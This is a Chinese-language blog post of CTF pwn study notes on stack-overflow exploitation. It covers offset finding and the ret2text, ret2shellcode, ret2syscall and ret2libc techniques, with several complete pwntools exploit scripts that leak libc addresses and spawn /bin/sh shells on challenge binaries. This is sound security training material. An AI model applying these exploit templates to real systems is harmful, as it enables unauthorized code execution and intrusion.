CTF_PWN_棧ROP

Jexy-kynner*^發表於2024-07-30

棧溢位原理

先把基本棧溢位原理說清楚,上圖可能不太清晰。
自己的話講就是函式A原本rbp和rsp,call呼叫函式B後,rbp上去變成rsp,原本的rsp隨著函式B各種引數,暫存器balabala繼續往棧頂生長.呼叫B完再逆操作,回到函式A,rbp回到函式A的返回地址,rsp回到函式B底部,leave之後ret進入A
所以!!我們怎麼利用呢
距離rbp在呼叫完函式B回到函式A時,我們已經把函式B溢位點距離rbp的內容填滿,加上目標地址,最後回到函式A過程中,rbp就在目標地址那
通俗:溢位點距離rbp多少空間+目標地址+rbp(64-8//32-4)->傳送這個
嗯,應該是這樣的,不對回來再改(U ´ᴥ` U)
看這個!!!這個好詳細!!!https://www.bilibili.com/video/BV1SB4y1H79Y/?spm_id_from=333.337.search-card.all.click&vd_source=349e837d16672b55951deac3adfe4534

檢視偏移量

    1.直接在IDA裡眼瞅
    2.用cyclic
        pwndbg> cyclic 200
        pwndbg> run
        看到報錯“Invalid address 0x[xxxx]”
        pwndbg> cyclic -l 0x[xxxx](或者haab??)
    3.gdb-peda
        用法和cyclic差不多,
        pattern create 200
        c
        pattern offset [xxxx]

ret2text————適用於可以看到system後門函式的時候用

上題目!————Buu--warmup_csaw_2016

alt text

gets()危險函式,v5就是溢位點,距離0x40

應該選擇壓入引數cat flag的地址0x400611

    from pwn import *
    p = remote('node5.buuoj.cn',26256)
    payload=b'a'*(0x40+8)+p64(0x400611)
    p.sendline(payload)
    p.interactive()

ret2shellcode

沒有後門函式,沒有直接的system(/bin/sh)的時候用!
shellcode 所在的區域具有可執行許可權!————所以開啟NX保護應該是用不了的
讓它在指令碼里生成一個shellcode(指令為:shellcode = asm(shellcraft.sh()))
這個是pwntools自帶的,用這個相當於我們整了一個/bin/sh過去

    基本指令碼:
    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')  //廢話(bushi)但是要寫
    p = process("balabala")/remote("ip",port)
    shellcode = asm(shellcraft.sh())
    payload = shellcode.ljust(offset,'a')+p32(0x[溢位地址])   
    //填充偏移量,如果offset>shellcode,繼續填充垃圾位元組
    p.sendline(payload)
    p.interactive()

ret2syscall

在ret2shellcode條件下開了NX保護的時候用

原理:

利用程式中已有的小片段 (gadgets) 來改變某些暫存器或者變數的值,從而控制程式的執行流程
gadgets 就是以 ret 結尾的指令序列,透過這些指令序列,我們可以修改某些地址的內容,方便控制程式的執行流程。
x86 透過 int 0x80 指令進行系統呼叫、amd64 透過 syscall 指令進行系統呼叫

mov eax,
0xb mov ebx,
[“/bin/sh”]
mov ecx,
0 mov edx,
0 int 0x80

轉自某一個部落格:在Linux中,系統呼叫通常透過int 80h 彙編程式碼實現,int終端,80h則是代指的系統呼叫的終端符號,當程式執行到int 80h時,就會將相應的通用暫存器eax中的引數作為系統呼叫的呼叫號,其他暫存器中的值或者地址所指向的值作為引數(execve("/bin/sh",NULL,NULL) ) //(32位程式)
所以我們的目標->呼叫execve()
rax rdx rcx rbx
rdi rsi rcx rbx r9 r10
:::warning
!!!如何呼叫execve()函式
系統呼叫號,即 eax 應該為 0xb
第一個引數,即 ebx 應該指向 /bin/sh 的地址,其實執行 sh 的地址也可以。
第二個引數,即 ecx 應該為 0
第三個引數,即 edx 應該為 0
:::

使用gdb
    1.尋找控制 eax 的 gadgets
    ROPgadget --binary 檔名  --only 'pop|ret' | grep 'eax'
    2.ebx,edx,ecx的ret
    ROPgadget --binary 檔名  --only 'pop|ret' | grep 'ebx'

    #或者直接ROPgadget --binary 檔名  --only 'pop|ret'檢視所有的

    3.獲得 /bin/sh 字串對應的地址。
    ROPgadget --binary 檔名  --string '/bin/sh' 
    4.int 0x80 的地址
    ROPgadget --binary r檔名  --only 'int' 
    最後的payload=垃圾位元組+(eax-ret+ebx-ret+ecx-ret+edx-ret+/bin/sh+0x80)->的地址

ret2libc

沒有後門函式同時開啟NX保護
一般有puts()、printf()、writes()等,且使用了libc庫

取自大佬部落格!!我願稱之為神!大徹大悟!醍醐灌頂!

函式的真實地址 = 基地址 + 偏移地址

嗚嗚嗚,更一下,ldd filename就可以檢視檔案本地的libc版本555
https://www.cnblogs.com/falling-dusk/p/17856141.html
https://rj45mp.github.io/深入理解ret2libc/
https://blog.csdn.net/qq_51032807/article/details/114808339
https://blog.csdn.net/Mr_Fmnwon/article/details/130959123
先上板子

32位

from pwn import *
e = ELF("./ret2libc3_32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #確定libc庫並解析
p = process("./ret2libc3_32")
puts_plt = e.plt['puts'] #puts函式的入口地址
puts_got = e.got['puts']  #puts函式的got表地址
start_addr = e.symbols['_start'] #程式的起始地址
payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
#attach(p, "b *0x0804868F")
#pause()
p.sendlineafter("Can you find it !?", payload1)
puts_real_addr = u32(p.recv()[0:4])  #接收puts的真實地址,佔4個位元組
print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
print("puts_real_addr: ", hex(puts_real_addr)) 
libc_addr = puts_real_addr - libc.sym['puts'] #計算libc庫的基地址
print(hex(libc_addr))
system_addr = libc_addr + libc.sym["system"] #計算system函式的真實地址
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))  #計算binsh字串的真實地址
payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)
#pause()
p.sendline(payload2)
p.interactive()

64位

payload = b"a" * offset #垃圾資料的填充
payload += p64(pop_rdi_ret_addr) #用暫存器rdi傳參,引數是read_got
payload += p64(read_got) #想要存入rdi的引數
payload += p64(puts_plt) #puts的入口地址,即plt表的地址
payload += p64(main_addr) #程式的起始地址

板子

from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("ret2libc")
pop_rdi_ret_addr = 0x401293
read_got = 0x403368
puts_plt = 0x401060
main_addr = 0x401176
offset = 40
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)

#attach(p,"b *0x40121e")
p.recvuntil("Pls Input")
#pause()
p.send(payload)
read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))  #read函式的真實地址,由於真實地址總是從7f開始,故從7f開始接收,長度補足8個位元組
print("read_real_addr: ", hex(read_real_addr))

剩下的和32位的一樣

一個大佬的64位樣例

from pwn import *                 #pwntools
from LibcSearcher import *        #定位libc函式以及特殊字串;題目沒給libc!!至少在nssctf目前還沒授權,也沒正確的libc附件,但是我們有強大的LibcSearcher庫
 
elf=ELF("./babyof")               #獲取got/plt等程式資訊
context(arch="amd64",log_level="debug",os="linux")
 
pop_ret_rdi_addr=0x400743	        #64linux,用於引數填入函式
puts_plt_addr=0x400520            #用於呼叫puts,列印(洩露)got表填寫的函式真實地址
main_addr=0x40066b                #用於返回main函式,準備第二次棧溢位(?)
ret=0x400506                      #用於返回,否則出錯(?)
 
io=remote("node4.anna.nssctf.cn",28715)  #遠端連線
 
payload=b'a'*(0x40+8)             #溢位
payload+=p64(pop_ret_rdi_addr)+p64(elf.got["puts"])     #pop和棧上填寫資訊連用,實際效果是將填入棧的值傳給暫存器,這一點值得記下來;填寫了puts要列印的內容是got表puts的真實地址
payload+=p64(puts_plt_addr)       #puts的plt地址,用於(引數準備好後)呼叫call puts
payload+=p64(main_addr)           #因為是return puts("I hope you win"),而此時棧上已經一塌糊塗,我們手動讓程式執行流回到main準備下一次溢位
 
io.sendlineafter("overflow?\n",payload)  #在此之後就是read,讀取我們的payload。效果:列印puts的真實地址,然後返回main函式,準備在此棧溢位
io.recvuntil('win\n')
puts_real_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))  #直到讀取到\x7f結束符,然後擷取後六位(地址),ljust轉8位元組補齊,u64轉為無符號整數
#一個地址的最高位的兩個位元組是00,而且實際棧地址一般是0x7fxxxx開頭的,因此為了避免獲取錯誤的地址值,只需要獲取前面的6位元組值,然後透過ljust函式把最高位的兩位元組填充成00。
 
#=====================================================之所以稱為ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,透過函式名和函式真實地址來找到對應的libc(之後會做選擇,選擇正確的那個即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真實的基址=puts的真實地址-puts相對於libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真實地址=libc基址的真實地址+'/bin/sh'相對於libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函式的真實地址=libc基址的真實地址+system函式相對於libc基址的偏移量
#===============================================================================================================================
 
payload2=b'a'*(0x40+8)            #棧溢位
payload2+=p64(ret)                #就是這裡,其實不太明白。為什麼不直接開始下一步(去掉ret),但是會出錯。我的理解是,puts函式跳回,然後在
payload2+=p64(pop_ret_rdi_addr)+p64(bin_sh_addr)#system函式的引數準備,即把'/bin/sh'(的地址)傳入 
payload2+=p64(system_real_addr)   #呼叫system
payload2+=p64(main_addr)          #只是為了能夠找到一個合法地址(?) 
 
io.sendlineafter("overflow?\n",payload2)         #棧溢位點傳送payload
io.recv()                         #吸收一下發過來的資料,沒必要
io.interactive()                  #開始互動,ls -> cat flag

好啦好啦,要刷題啦()

相關文章